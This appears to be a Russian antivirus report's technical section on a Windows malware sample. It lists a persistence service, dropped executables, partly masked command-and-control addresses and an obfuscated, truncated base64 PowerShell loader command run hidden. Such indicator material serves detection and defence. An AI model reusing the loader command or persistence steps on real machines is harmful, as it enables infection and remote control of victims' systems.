Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\DShowRdpFilter] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\DShowRdpFilter] 'ImagePath' = '"%WINDIR%\SysWOW64\devenum\DShowRdpFilter.exe"'
- 'DShowRdpFilter' "%WINDIR%\SysWOW64\devenum\DShowRdpFilter.exe"
- 'DShowRdpFilter' %WINDIR%\SysWOW64\devenum\DShowRdpFilter.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABRAHQAZAA2AGEAdQBrAD0AKAAnAEkAdAAnACsAKAAnAGkAaAAnACsAJwAyACcAKQArACcAYwB4ACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAGUATgBWADoAdQBTAEUAUgBQAHIAbwBGAGkATABlAFwAbABaA...
- %HOMEPATH%\lz4z4ql\phw_wwi\ghma1d9s.exe
- %WINDIR%\syswow64\devenum\dshowrdpfilter.exe
- %HOMEPATH%\lz4z4ql\phw_wwi\ghma1d9s.exe в %WINDIR%\syswow64\devenum\dshowrdpfilter.exe
- '19#.#92.39.136':80
- '5.###.168.53':8080
- '16#.#41.41.111':7080
- http://ho##co.com/stats/iBnP/
- http://16#.##1.41.111:7080/shqegs3mwzKcvmw/KdifR/5ILbIXv/kmoYJr0/ via 16#.#41.41.111
- DNS ASK al####nmission.net
- DNS ASK ho##co.com
- '%HOMEPATH%\lz4z4ql\phw_wwi\ghma1d9s.exe'
- '%WINDIR%\syswow64\devenum\dshowrdpfilter.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABRAHQAZAA2AGEAdQBrAD0AKAAnAEkAdAAnACsAKAAnAGkAaAAnACsAJwAyACcAKQArACcAYwB4ACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAGUATgBWADoAdQBTAEUAUgBQAHIAbwBGAGkATABlAFwAbABaA...' (со скрытым окном)